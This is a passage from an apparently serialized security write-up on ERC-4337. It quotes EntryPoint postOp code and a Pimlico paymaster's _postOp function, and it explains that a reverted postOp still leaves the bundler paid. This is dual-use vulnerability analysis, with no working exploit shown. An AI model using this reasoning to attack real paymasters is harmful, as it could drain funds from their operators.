maximum penalty (10% of postOpGasLimit) is charged.\n uint256 postOpGasUsed = postOpPreGas - gasleft();\n postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n }\n }\n [...]\n }\n",[103768],{"type":23,"tag":64,"props":103769,"children":103770},{"__ignoreMap":7},[103771,103786,103811,103830,103849,103861,103898,103905,103937,103954,103969,103985,104009,104034,104058,104080,104098,104115,104123,104141,104157,104190,104208,104215,104222,104230,104246,104278,104300,104307,104314,104321],{"type":23,"tag":481,"props":103772,"children":103773},{"class":483,"line":484},[103774,103778,103782],{"type":23,"tag":481,"props":103775,"children":103776},{"style":497},[103777],{"type":28,"value":87363},{"type":23,"tag":481,"props":103779,"children":103780},{"style":610},[103781],{"type":28,"value":102964},{"type":23,"tag":481,"props":103783,"children":103784},{"style":525},[103785],{"type":28,"value":988},{"type":23,"tag":481,"props":103787,"children":103788},{"class":483,"line":351},[103789,103794,103798,103802,103807],{"type":23,"tag":481,"props":103790,"children":103791},{"style":497},[103792],{"type":28,"value":103793}," IPaymaster",{"type":23,"tag":481,"props":103795,"children":103796},{"style":525},[103797],{"type":28,"value":199},{"type":23,"tag":481,"props":103799,"children":103800},{"style":508},[103801],{"type":28,"value":101324},{"type":23,"tag":481,"props":103803,"children":103804},{"style":508},[103805],{"type":28,"value":103806}," mode",{"type":23,"tag":481,"props":103808,"children":103809},{"style":525},[103810],{"type":28,"value":1033},{"type":23,"tag":481,"props":103812,"children":103813},{"class":483,"line":531},[103814,103818,103822,103826],{"type":23,"tag":481,"props":103815,"children":103816},{"style":497},[103817],{"type":28,"value":102272},{"type":23,"tag":481,"props":103819,"children":103820},{"style":497},[103821],{"type":28,"value":100612},{"type":23,"tag":481,"props":103823,"children":103824},{"style":508},[103825],{"type":28,"value":103260},{"type":23,"tag":481,"props":103827,"children":103828},{"style":525},[103829],{"type":28,"value":1033},{"type":23,"tag":481,"props":103831,"children":103832},{"class":483,"line":567},[103833,103837,103841,103845],{"type":23,"tag":481,"props":103834,"children":103835},{"style":943},[103836],{"type":28,"value":103231},{"type":23,"tag":481,"props":103838,"children":103839},{"style":497},[103840],{"type":28,"value":100612},{"type":23,"tag":481,"props":103842,"children":103843},{"style":508},[103844],{"type":28,"value":73872},{"type":23,"tag":481,"props":103846,"children":103847},{"style":525},[103848],{"type":28,"value":1033},{"type":23,"tag":481,"props":103850,"children":103851},{"class":483,"line":678},[103852,103856],{"type":23,"tag":481,"props":103853,"children":103854},{"style":943},[103855],{"type":28,"value":87541},{"type":23,"tag":481,"props":103857,"children":103858},{"style":508},[103859],{"type":28,"value":103860}," actualGas\n",{"type":23,"tag":481,"props":103862,"children":103863},{"class":483,"line":784},[103864,103868,103873,103878,103882,103886,103890,103894],{"type":23,"tag":481,"props":103865,"children":103866},{"style":525},[103867],{"type":28,"value":103288},{"type":23,"tag":481,"props":103869,"children":103870},{"style":497},[103871],{"type":28,"value":103872},"internal",{"type":23,"tag":481,"props":103874,"children":103875},{"style":497},[103876],{"type":28,"value":103877}," virtual",{"type":23,"tag":481,"props":103879,"children":103880},{"style":535},[103881],{"type":28,"value":73525},{"type":23,"tag":481,"props":103883,"children":103884},{"style":525},[103885],{"type":28,"value":578},{"type":23,"tag":481,"props":103887,"children":103888},{"style":943},[103889],{"type":28,"value":43692},{"type":23,"tag":481,"props":103891,"children":103892},{"style":508},[103893],{"type":28,"value":101353},{"type":23,"tag":481,"props":103895,"children":103896},{"style":525},[103897],{"type":28,"value":12292},{"type":23,"tag":481,"props":103899,"children":103900},{"class":483,"line":812},[103901],{"type":23,"tag":481,"props":103902,"children":103903},{"style":525},[103904],{"type":28,"value":102333},{"type":23,"tag":481,"props":103906,"children":103907},{"class":483,"line":825},[103908,103912,103917,103921,103925,103929,103933],{"type":23,"tag":481,"props":103909,"children":103910},{"style":535},[103911],{"type":28,"value":56328},{"type":23,"tag":481,"props":103913,"children":103914},{"style":525},[103915],{"type":28,"value":103916}," (paymaster ",{"type":23,"tag":481,"props":103918,"children":103919},{"style":514},[103920],{"type":28,"value":6055},{"type":23,"tag":481,"props":103922,"children":103923},{"style":943},[103924],{"type":28,"value":3727},{"type":23,"tag":481,"props":103926,"children":103927},{"style":525},[103928],{"type":28,"value":618},{"type":23,"tag":481,"props":103930,"children":103931},{"style":551},[103932],{"type":28,"value":1568},{"type":23,"tag":481,"props":103934,"children":103935},{"style":525},[103936],{"type":28,"value":32711},{"type":23,"tag":481,"props":103938,"children":103939},{"class":483,"line":843},[103940,103945,103949],{"type":23,"tag":481,"props":103941,"children":103942},{"style":525},[103943],{"type":28,"value":103944}," refundAddress ",{"type":23,"tag":481,"props":103946,"children":103947},{"style":514},[103948],{"type":28,"value":603},{"type":23,"tag":481,"props":103950,"children":103951},{"style":525},[103952],{"type":28,"value":103953}," mUserOp.sender;\n",{"type":23,"tag":481,"props":103955,"children":103956},{"class":483,"line":864},[103957,103961,103965],{"type":23,"tag":481,"props":103958,"children":103959},{"style":525},[103960],{"type":28,"value":68124},{"type":23,"tag":481,"props":103962,"children":103963},{"style":535},[103964],{"type":28,"value":836},{"type":23,"tag":481,"props":103966,"children":103967},{"style":525},[103968],{"type":28,"value":809},{"type":23,"tag":481,"props":103970,"children":103971},{"class":483,"line":873},[103972,103976,103980],{"type":23,"tag":481,"props":103973,"children":103974},{"style":525},[103975],{"type":28,"value":103944},{"type":23,"tag":481,"props":103977,"children":103978},{"style":514},[103979],{"type":28,"value":603},{"type":23,"tag":481,"props":103981,"children":103982},{"style":525},[103983],{"type":28,"value":103984}," paymaster;\n",{"type":23,"tag":481,"props":103986,"children":103987},{"class":483,"line":1125},[103988,103992,103997,104001,104005],{"type":23,"tag":481,"props":103989,"children":103990},{"style":535},[103991],{"type":28,"value":101052},{"type":23,"tag":481,"props":103993,"children":103994},{"style":525},[103995],{"type":28,"value":103996}," (context.length ",{"type":23,"tag":481,"props":103998,"children":103999},{"style":514},[104000],{"type":28,"value":7947},{"type":23,"tag":481,"props":104002,"children":104003},{"style":551},[104004],{"type":28,"value":554},{"type":23,"tag":481,"props":104006,"children":104007},{"style":525},[104008],{"type":28,"value":12292},{"type":23,"tag":481,"props":104010,"children":104011},{"class":483,"line":1142},[104012,104017,104021,104025,104029],{"type":23,"tag":481,"props":104013,"children":104014},{"style":525},[104015],{"type":28,"value":104016}," actualGasCost ",{"type":23,"tag":481,"props":104018,"children":104019},{"style":514},[104020],{"type":28,"value":603},{"type":23,"tag":481,"props":104022,"children":104023},{"style":525},[104024],{"type":28,"value":102824},{"type":23,"tag":481,"props":104026,"children":104027},{"style":514},[104028],{"type":28,"value":2120},{"type":23,"tag":481,"props":104030,"children":104031},{"style":525},[104032],{"type":28,"value":104033}," gasPrice;\n",{"type":23,"tag":481,"props":104035,"children":104036},{"class":483,"line":1159},[104037,104041,104046,104050,104054],{"type":23,"tag":481,"props":104038,"children":104039},{"style":943},[104040],{"type":28,"value":101009},{"type":23,"tag":481,"props":104042,"children":104043},{"style":525},[104044],{"type":28,"value":104045}," postOpPreGas ",{"type":23,"tag":481,"props":104047,"children":104048},{"style":514},[104049],{"type":28,"value":603},{"type":23,"tag":481,"props":104051,"children":104052},{"style":497},[104053],{"type":28,"value":102842},{"type":23,"tag":481,"props":104055,"children":104056},{"style":525},[104057],{"type":28,"value":1201},{"type":23,"tag":481,"props":104059,"children":104060},{"class":483,"line":1172},[104061,104066,104071,104075],{"type":23,"tag":481,"props":104062,"children":104063},{"style":535},[104064],{"type":28,"value":104065}," if",{"type":23,"tag":481,"props":104067,"children":104068},{"style":525},[104069],{"type":28,"value":104070}," (mode ",{"type":23,"tag":481,"props":104072,"children":104073},{"style":514},[104074],{"type":28,"value":13178},{"type":23,"tag":481,"props":104076,"children":104077},{"style":525},[104078],{"type":28,"value":104079}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":23,"tag":481,"props":104081,"children":104082},{"class":483,"line":1181},[104083,104088,104093],{"type":23,"tag":481,"props":104084,"children":104085},{"style":535},[104086],{"type":28,"value":104087}," try",{"type":23,"tag":481,"props":104089,"children":104090},{"style":610},[104091],{"type":28,"value":104092}," IPaymaster",{"type":23,"tag":481,"props":104094,"children":104095},{"style":525},[104096],{"type":28,"value":104097},"(paymaster).postOp{\n",{"type":23,"tag":481,"props":104099,"children":104100},{"class":483,"line":1204},[104101,104106,104110],{"type":23,"tag":481,"props":104102,"children":104103},{"style":525},[104104],{"type":28,"value":104105}," gas",{"type":23,"tag":481,"props":104107,"children":104108},{"style":514},[104109],{"type":28,"value":287},{"type":23,"tag":481,"props":104111,"children":104112},{"style":525},[104113],{"type":28,"value":104114}," mUserOp.paymasterPostOpGasLimit\n",{"type":23,"tag":481,"props":104116,"children":104117},{"class":483,"line":1213},[104118],{"type":23,"tag":481,"props":104119,"children":104120},{"style":525},[104121],{"type":28,"value":104122}," }(mode, context, actualGasCost, gasPrice)\n",{"type":23,"tag":481,"props":104124,"children":104125},{"class":483,"line":1222},[104126,104131,104136],{"type":23,"tag":481,"props":104127,"children":104128},{"style":488},[104129],{"type":28,"value":104130}," // ",{"type":23,"tag":481,"props":104132,"children":104133},{"style":497},[104134],{"type":28,"value":104135},"solhint-disable",{"type":23,"tag":481,"props":104137,"children":104138},{"style":488},[104139],{"type":28,"value":104140},"-next-line no-empty-blocks\n",{"type":23,"tag":481,"props":104142,"children":104143},{"class":483,"line":1291},[104144,104149,104153],{"type":23,"tag":481,"props":104145,"children":104146},{"style":525},[104147],{"type":28,"value":104148}," {} ",{"type":23,"tag":481,"props":104150,"children":104151},{"style":535},[104152],{"type":28,"value":45936},{"type":23,"tag":481,"props":104154,"children":104155},{"style":525},[104156],{"type":28,"value":809},{"type":23,"tag":481,"props":104158,"children":104159},{"class":483,"line":1299},[104160,104165,104169,104174,104178,104182,104186],{"type":23,"tag":481,"props":104161,"children":104162},{"style":943},[104163],{"type":28,"value":104164}," bytes",{"type":23,"tag":481,"props":104166,"children":104167},{"style":497},[104168],{"type":28,"value":100612},{"type":23,"tag":481,"props":104170,"children":104171},{"style":525},[104172],{"type":28,"value":104173}," reason ",{"type":23,"tag":481,"props":104175,"children":104176},{"style":514},[104177],{"type":28,"value":603},{"type":23,"tag":481,"props":104179,"children":104180},{"style":525},[104181],{"type":28,"value":103383},{"type":23,"tag":481,"props":104183,"children":104184},{"style":610},[104185],{"type":28,"value":103474},{"type":23,"tag":481,"props":104187,"children":104188},{"style":525},[104189],{"type":28,"value":103479},{"type":23,"tag":481,"props":104191,"children":104192},{"class":483,"line":1329},[104193,104198,104203],{"type":23,"tag":481,"props":104194,"children":104195},{"style":535},[104196],{"type":28,"value":104197}," revert",{"type":23,"tag":481,"props":104199,"children":104200},{"style":610},[104201],{"type":28,"value":104202}," PostOpReverted",{"type":23,"tag":481,"props":104204,"children":104205},{"style":525},[104206],{"type":28,"value":104207},"(reason);\n",{"type":23,"tag":481,"props":104209,"children":104210},{"class":483,"line":1337},[104211],{"type":23,"tag":481,"props":104212,"children":104213},{"style":525},[104214],{"type":28,"value":68508},{"type":23,"tag":481,"props":104216,"children":104217},{"class":483,"line":1369},[104218],{"type":23,"tag":481,"props":104219,"children":104220},{"style":525},[104221],{"type":28,"value":68593},{"type":23,"tag":481,"props":104223,"children":104224},{"class":483,"line":1377},[104225],{"type":23,"tag":481,"props":104226,"children":104227},{"style":488},[104228],{"type":28,"value":104229}," // Calculating a penalty for unused postOp gas\n",{"type":23,"tag":481,"props":104231,"children":104232},{"class":483,"line":1437},[104233,104237,104241],{"type":23,"tag":481,"props":104234,"children":104235},{"style":488},[104236],{"type":28,"value":101074},{"type":23,"tag":481,"props":104238,"children":104239},{"style":497},[104240],{"type":28,"value":64288},{"type":23,"tag":481,"props":104242,"children":104243},{"style":488},[104244],{"type":28,"value":104245}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":23,"tag":481,"props":104247,"children":104248},{"class":483,"line":6528},[104249,104253,104258,104262,104266,104270,104274],{"type":23,"tag":481,"props":104250,"children":104251},{"style":943},[104252],{"type":28,"value":101009},{"type":23,"tag":481,"props":104254,"children":104255},{"style":525},[104256],{"type":28,"value":104257}," postOpGasUsed ",{"type":23,"tag":481,"props":104259,"children":104260},{"style":514},[104261],{"type":28,"value":603},{"type":23,"tag":481,"props":104263,"children":104264},{"style":525},[104265],{"type":28,"value":104045},{"type":23,"tag":481,"props":104267,"children":104268},{"style":514},[104269],{"type":28,"value":1876},{"type":23,"tag":481,"props":104271,"children":104272},{"style":497},[104273],{"type":28,"value":102842},{"type":23,"tag":481,"props":104275,"children":104276},{"style":525},[104277],{"type":28,"value":1201},{"type":23,"tag":481,"props":104279,"children":104280},{"class":483,"line":6546},[104281,104286,104290,104295],{"type":23,"tag":481,"props":104282,"children":104283},{"style":525},[104284],{"type":28,"value":104285}," postOpUnusedGasPenalty ",{"type":23,"tag":481,"props":104287,"children":104288},{"style":514},[104289],{"type":28,"value":603},{"type":23,"tag":481,"props":104291,"children":104292},{"style":610},[104293],{"type":28,"value":104294}," _getUnusedGasPenalty",{"type":23,"tag":481,"props":104296,"children":104297},{"style":525},[104298],{"type":28,"value":104299},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":23,"tag":481,"props":104301,"children":104302},{"class":483,"line":6591},[104303],{"type":23,"tag":481,"props":104304,"children":104305},{"style":525},[104306],{"type":28,"value":68601},{"type":23,"tag":481,"props":104308,"children":104309},{"class":483,"line":6697},[104310],{"type":23,"tag":481,"props":104311,"children":104312},{"style":525},[104313],{"type":28,"value":56412},{"type":23,"tag":481,"props":104315,"children":104316},{"class":483,"line":21008},[104317],{"type":23,"tag":481,"props":104318,"children":104319},{"style":525},[104320],{"type":28,"value":102333},{"type":23,"tag":481,"props":104322,"children":104323},{"class":483,"line":21043},[104324],{"type":23,"tag":481,"props":104325,"children":104326},{"style":525},[104327],{"type":28,"value":879},{"type":23,"tag":24,"props":104329,"children":104330},{},[104331,104333,104338,104340,104346,104348,104354,104356,104361,104363,104368,104370,104375,104377,104382,104384,104389,104391,104396],{"type":28,"value":104332},"It turns out that if the ",{"type":23,"tag":64,"props":104334,"children":104336},{"className":104335},[],[104337],{"type":28,"value":99913},{"type":28,"value":104339}," call fails, it will revert with ",{"type":23,"tag":64,"props":104341,"children":104343},{"className":104342},[],[104344],{"type":28,"value":104345},"PostOpReverted",{"type":28,"value":104347},". However, as we can see in the previous code of ",{"type":23,"tag":64,"props":104349,"children":104351},{"className":104350},[],[104352],{"type":28,"value":104353},"_executeUserOp",{"type":28,"value":104355},", even though ",{"type":23,"tag":64,"props":104357,"children":104359},{"className":104358},[],[104360],{"type":28,"value":103055},{"type":28,"value":104362}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":23,"tag":64,"props":104364,"children":104366},{"className":104365},[],[104367],{"type":28,"value":103723},{"type":28,"value":104369}," call with ",{"type":23,"tag":64,"props":104371,"children":104373},{"className":104372},[],[104374],{"type":28,"value":103731},{"type":28,"value":104376}," mode, and it won't try to call ",{"type":23,"tag":64,"props":104378,"children":104380},{"className":104379},[],[104381],{"type":28,"value":99913},{"type":28,"value":104383}," again. This means the ",{"type":23,"tag":64,"props":104385,"children":104387},{"className":104386},[],[104388],{"type":28,"value":99774},{"type":28,"value":104390}," still gets paid for submitting the failed ",{"type":23,"tag":64,"props":104392,"children":104394},{"className":104393},[],[104395],{"type":28,"value":99714},{"type":28,"value":199},{"type":23,"tag":24,"props":104398,"children":104399},{},[104400,104402,104407,104409,104414,104416,104423],{"type":28,"value":104401},"Now that we understand this behavior where ",{"type":23,"tag":64,"props":104403,"children":104405},{"className":104404},[],[104406],{"type":28,"value":99913},{"type":28,"value":104408}," is allowed to fail while the ",{"type":23,"tag":64,"props":104410,"children":104412},{"className":104411},[],[104413],{"type":28,"value":99774},{"type":28,"value":104415}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":23,"tag":190,"props":104417,"children":104420},{"href":104418,"rel":104419},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[194],[104421],{"type":28,"value":104422},"Pimlico",{"type":28,"value":199},{"type":23,"tag":435,"props":104425,"children":104427},{"className":2024,"code":104426,"language":2023,"meta":7,"style":7}," function _postOp(\n PostOpMode, /* mode */\n bytes calldata _context,\n uint256 _actualGasCost,\n uint256 _actualUserOpFeePerGas\n )\n internal\n {\n ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n );\n\n uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n uint256 costInToken =\n getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n uint256 absoluteCostInToken =\n costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n SafeTransferLib.safeTransferFrom(\n ctx.token,\n costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n absoluteCostInToken\n );\n\n uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n }\n\n emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n }\n",[104428],{"type":23,"tag":64,"props":104429,"children":104430},{"__ignoreMap":7},[104431,104446,104463,104483,104499,104511,104518,104525,104532,104563,104570,104595,104603,104610,104617,104646,104653,104669,104691,104698,104714,104764,104771,104787,104795,104828,104861,104869,104876,104883,104926,104933,104982,105008,105015,105022,105039],{"type":23,"tag":481,"props":104432,"children":104433},{"class":483,"line":484},[104434,104438,104442],{"type":23,"tag":481,"props":104435,"children":104436},{"style":497},[104437],{"type":28,"value":87363},{"type":23,"tag":481,"props":104439,"children":104440},{"style":610},[104441],{"type":28,"value":101315},{"type":23,"tag":481,"props":104443,"children":104444},{"style":525},[104445],{"type":28,"value":988},{"type":23,"tag":481,"props":104447,"children":104448},{"class":483,"line":351},[104449,104454,104458],{"type":23,"tag":481,"props":104450,"children":104451},{"style":497},[104452],{"type":28,"value":104453}," PostOpMode",{"type":23,"tag":481,"props":104455,"children":104456},{"style":525},[104457],{"type":28,"value":588},{"type":23,"tag":481,"props":104459,"children":104460},{"style":488},[104461],{"type":28,"value":104462},"/* mode */\n",{"type":23,"tag":481,"props":104464,"children":104465},{"class":483,"line":531},[104466,104470,104474,104479],{"type":23,"tag":481,"props":104467,"children":104468},{"style":943},[104469],{"type":28,"value":103231},{"type":23,"tag":481,"props":104471,"children":104472},{"style":497},[104473],{"type":28,"value":100544},{"type":23,"tag":481,"props":104475,"children":104476},{"style":508},[104477],{"type":28,"value":104478}," _context",{"type":23,"tag":481,"props":104480,"children":104481},{"style":525},[104482],{"type":28,"value":1033},{"type":23,"tag":481,"props":104484,"children":104485},{"class":483,"line":567},[104486,104490,104495],{"type":23,"tag":481,"props":104487,"children":104488},{"style":943},[104489],{"type":28,"value":87541},{"type":23,"tag":481,"props":104491,"children":104492},{"style":508},[104493],{"type":28,"value":104494}," _actualGasCost",{"type":23,"tag":481,"props":104496,"children":104497},{"style":525},[104498],{"type":28,"value":1033},{"type":23,"tag":481,"props":104500,"children":104501},{"class":483,"line":678},[104502,104506],{"type":23,"tag":481,"props":104503,"children":104504},{"style":943},[104505],{"type":28,"value":87541},{"type":23,"tag":481,"props":104507,"children":104508},{"style":508},[104509],{"type":28,"value":104510}," _actualUserOpFeePerGas\n",{"type":23,"tag":481,"props":104512,"children":104513},{"class":483,"line":784},[104514],{"type":23,"tag":481,"props":104515,"children":104516},{"style":525},[104517],{"type":28,"value":21429},{"type":23,"tag":481,"props":104519,"children":104520},{"class":483,"line":812},[104521],{"type":23,"tag":481,"props":104522,"children":104523},{"style":497},[104524],{"type":28,"value":100583},{"type":23,"tag":481,"props":104526,"children":104527},{"class":483,"line":825},[104528],{"type":23,"tag":481,"props":104529,"children":104530},{"style":525},[104531],{"type":28,"value":26700},{"type":23,"tag":481,"props":104533,"children":104534},{"class":483,"line":843},[104535,104540,104544,104549,104553,104558],{"type":23,"tag":481,"props":104536,"children":104537},{"style":525},[104538],{"type":28,"value":104539}," ERC20PostOpContext ",{"type":23,"tag":481,"props":104541,"children":104542},{"style":497},[104543],{"type":28,"value":73504},{"type":23,"tag":481,"props":104545,"children":104546},{"style":525},[104547],{"type":28,"value":104548}," ctx ",{"type":23,"tag":481,"props":104550,"children":104551},{"style":514},[104552],{"type":28,"value":603},{"type":23,"tag":481,"props":104554,"children":104555},{"style":610},[104556],{"type":28,"value":104557}," _parsePostOpContext",{"type":23,"tag":481,"props":104559,"children":104560},{"style":525},[104561],{"type":28,"value":104562},"(_context);\n",{"type":23,"tag":481,"props":104564,"children":104565},{"class":483,"line":864},[104566],{"type":23,"tag":481,"props":104567,"children":104568},{"emptyLinePlaceholder":15},[104569],{"type":28,"value":1210},{"type":23,"tag":481,"props":104571,"children":104572},{"class":483,"line":873},[104573,104577,104582,104586,104591],{"type":23,"tag":481,"props":104574,"children":104575},{"style":943},[104576],{"type":28,"value":87541},{"type":23,"tag":481,"props":104578,"children":104579},{"style":525},[104580],{"type":28,"value":104581}," expectedPenaltyGasCost ",{"type":23,"tag":481,"props":104583,"children":104584},{"style":514},[104585],{"type":28,"value":603},{"type":23,"tag":481,"props":104587,"children":104588},{"style":610},[104589],{"type":28,"value":104590}," _expectedPenaltyGasCost",{"type":23,"tag":481,"props":104592,"children":104593},{"style":525},[104594],{"type":28,"value":988},{"type":23,"tag":481,"props":104596,"children":104597},{"class":483,"line":1125},[104598],{"type":23,"tag":481,"props":104599,"children":104600},{"style":525},[104601],{"type":28,"value":104602}," _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":23,"tag":481,"props":104604,"children":104605},{"class":483,"line":1142},[104606],{"type":23,"tag":481,"props":104607,"children":104608},{"style":525},[104609],{"type":28,"value":5222},{"type":23,"tag":481,"props":104611,"children":104612},{"class":483,"line":1159},[104613],{"type":23,"tag":481,"props":104614,"children":104615},{"emptyLinePlaceholder":15},[104616],{"type":28,"value":1210},{"type":23,"tag":481,"props":104618,"children":104619},{"class":483,"line":1172},[104620,104624,104628,104632,104637,104641],{"type":23,"tag":481,"props":104621,"children":104622},{"style":943},[104623],{"type":28,"value":87541},{"type":23,"tag":481,"props":104625,"children":104626},{"style":525},[104627],{"type":28,"value":101639},{"type":23,"tag":481,"props":104629,"children":104630},{"style":514},[104631],{"type":28,"value":603},{"type":23,"tag":481,"props":104633,"children":104634},{"style":525},[104635],{"type":28,"value":104636}," _actualGasCost ",{"type":23,"tag":481,"props":104638,"children":104639},{"style":514},[104640],{"type":28,"value":1930},{"type":23,"tag":481,"props":104642,"children":104643},{"style":525},[104644],{"type":28,"value":104645}," expectedPenaltyGasCost;\n",{"type":23,"tag":481,"props":104647,"children":104648},{"class":483,"line":1181},[104649],{"type":23,"tag":481,"props":104650,"children":104651},{"emptyLinePlaceholder":15},[104652],{"type":28,"value":1210},{"type":23,"tag":481,"props":104654,"children":104655},{"class":483,"line":1204},[104656,104660,104665],{"type":23,"tag":481,"props":104657,"children":104658},{"style":943},[104659],{"type":28,"value":87541},{"type":23,"tag":481,"props":104661,"children":104662},{"style":525},[104663],{"type":28,"value":104664}," costInToken ",{"type":23,"tag":481,"props":104666,"children":104667},{"style":514},[104668],{"type":28,"value":12181},{"type":23,"tag":481,"props":104670,"children":104671},{"class":483,"line":1213},[104672,104677,104682,104686],{"type":23,"tag":481,"props":104673,"children":104674},{"style":610},[104675],{"type":28,"value":104676}," getCostInToken",{"type":23,"tag":481,"props":104678,"children":104679},{"style":525},[104680],{"type":28,"value":104681},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":23,"tag":481,"props":104683,"children":104684},{"style":514},[104685],{"type":28,"value":1930},{"type":23,"tag":481,"props":104687,"children":104688},{"style":525},[104689],{"type":28,"value":104690}," ctx.constantFee;\n",{"type":23,"tag":481,"props":104692,"children":104693},{"class":483,"line":1222},[104694],{"type":23,"tag":481,"props":104695,"children":104696},{"emptyLinePlaceholder":15},[104697],{"type":28,"value":1210},{"type":23,"tag":481,"props":104699,"children":104700},{"class":483,"line":1291},[104701,104705,104710],{"type":23,"tag":481,"props":104702,"children":104703},{"style":943},[104704],{"type":28,"value":87541},{"type":23,"tag":481,"props":104706,"children":104707},{"style":525},[104708],{"type":28,"value":104709}," absoluteCostInToken ",{"type":23,"tag":481,"props":104711,"children":104712},{"style":514},[104713],{"type":28,"value":12181},{"type":23,"tag":481,"props":104715,"children":104716},{"class":483,"line":1299},[104717,104722,104726,104731,104735,104739,104743,104747,104751,104755,104759],{"type":23,"tag":481,"props":104718,"children":104719},{"style":525},[104720],{"type":28,"value":104721}," costInToken ",{"type":23,"tag":481,"props":104723,"children":104724},{"style":514},[104725],{"type":28,"value":7947},{"type":23,"tag":481,"props":104727,"children":104728},{"style":525},[104729],{"type":28,"value":104730}," ctx.preFundCharged ",{"type":23,"tag":481,"props":104732,"children":104733},{"style":514},[104734],{"type":28,"value":670},{"type":23,"tag":481,"props":104736,"children":104737},{"style":525},[104738],{"type":28,"value":104664},{"type":23,"tag":481,"props":104740,"children":104741},{"style":514},[104742],{"type":28,"value":1876},{"type":23,"tag":481,"props":104744,"children":104745},{"style":525},[104746],{"type":28,"value":104730},{"type":23,"tag":481,"props":104748,"children":104749},{"style":514},[104750],{"type":28,"value":287},{"type":23,"tag":481,"props":104752,"children":104753},{"style":525},[104754],{"type":28,"value":104730},{"type":23,"tag":481,"props":104756,"children":104757},{"style":514},[104758],{"type":28,"value":1876},{"type":23,"tag":481,"props":104760,"children":104761},{"style":525},[104762],{"type":28,"value":104763}," costInToken;\n",{"type":23,"tag":481,"props":104765,"children":104766},{"class":483,"line":1329},[104767],{"type":23,"tag":481,"props":104768,"children":104769},{"emptyLinePlaceholder":15},[104770],{"type":28,"value":1210},{"type":23,"tag":481,"props":104772,"children":104773},{"class":483,"line":1337},[104774,104779,104783],{"type":23,"tag":481,"props":104775,"children":104776},{"style":525},[104777],{"type":28,"value":104778}," SafeTransferLib.",{"type":23,"tag":481,"props":104780,"children":104781},{"style":610},[104782],{"type":28,"value":101170},{"type":23,"tag":481,"props":104784,"children":104785},{"style":525},[104786],{"type":28,"value":988},{"type":23,"tag":481,"props":104788,"children":104789},{"class":483,"line":1369},[104790],{"type":23,"tag":481,"props":104791,"children":104792},{"style":525},[104793],{"type":28,"value":104794}," ctx.token,\n",{"type":23,"tag":481,"props":104796,"children":104797},{"class":483,"line":1377},[104798,104802,104806,104810,104814,104819,104823],{"type":23,"tag":481,"props":104799,"children":104800},{"style":525},[104801],{"type":28,"value":104721},{"type":23,"tag":481,"props":104803,"children":104804},{"style":514},[104805],{"type":28,"value":7947},{"type":23,"tag":481,"props":104807,"children":104808},{"style":525},[104809],{"type":28,"value":104730},{"type":23,"tag":481,"props":104811,"children":104812},{"style":514},[104813],{"type":28,"value":670},{"type":23,"tag":481,"props":104815,"children":104816},{"style":525},[104817],{"type":28,"value":104818}," ctx.sender ",{"type":23,"tag":481,"props":104820,"children":104821},{"style":514},[104822],{"type":28,"value":287},{"type":23,"tag":481,"props":104824,"children":104825},{"style":525},[104826],{"type":28,"value":104827}," ctx.treasury,\n",{"type":23,"tag":481,"props":104829,"children":104830},{"class":483,"line":1437},[104831,104835,104839,104843,104847,104852,104856],{"type":23,"tag":481,"props":104832,"children":104833},{"style":525},[104834],{"type":28,"value":104721},{"type":23,"tag":481,"props":104836,"children":104837},{"style":514},[104838],{"type":28,"value":7947},{"type":23,"tag":481,"props":104840,"children":104841},{"style":525},[104842],{"type":28,"value":104730},{"type":23,"tag":481,"props":104844,"children":104845},{"style":514},[104846],{"type":28,"value":670},{"type":23,"tag":481,"props":104848,"children":104849},{"style":525},[104850],{"type":28,"value":104851}," ctx.treasury ",{"type":23,"tag":481,"props":104853,"children":104854},{"style":514},[104855],{"type":28,"value":287},{"type":23,"tag":481,"props":104857,"children":104858},{"style":525},[104859],{"type":28,"value":104860}," ctx.sender,\n",{"type":23,"tag":481,"props":104862,"children":104863},{"class":483,"line":6528},[104864],{"type":23,"tag":481,"props":104865,"children":104866},{"style":525},[104867],{"type":28,"value":104868}," absoluteCostInToken\n",{"type":23,"tag":481,"props":104870,"children":104871},{"class":483,"line":6546},[104872],{"type":23,"tag":481,"props":104873,"children":104874},{"style":525},[104875],{"type":28,"value":5222},{"type":23,"tag":481,"props":104877,"children":104878},{"class":483,"line":6591},[104879],{"type":23,"tag":481,"props":104880,"children":104881},{"emptyLinePlaceholder":15},[104882],{"type":28,"value":1210},{"type":23,"tag":481,"props":104884,"children":104885},{"class":483,"line":6697},[104886,104890,104895,104899,104904,104908,104913,104917,104922],{"type":23,"tag":481,"props":104887,"children":104888},{"style":943},[104889],{"type":28,"value":87541},{"type":23,"tag":481,"props":104891,"children":104892},{"style":525},[104893],{"type":28,"value":104894}," preFundInToken ",{"type":23,"tag":481,"props":104896,"children":104897},{"style":514},[104898],{"type":28,"value":603},{"type":23,"tag":481,"props":104900,"children":104901},{"style":525},[104902],{"type":28,"value":104903}," (ctx.preFund 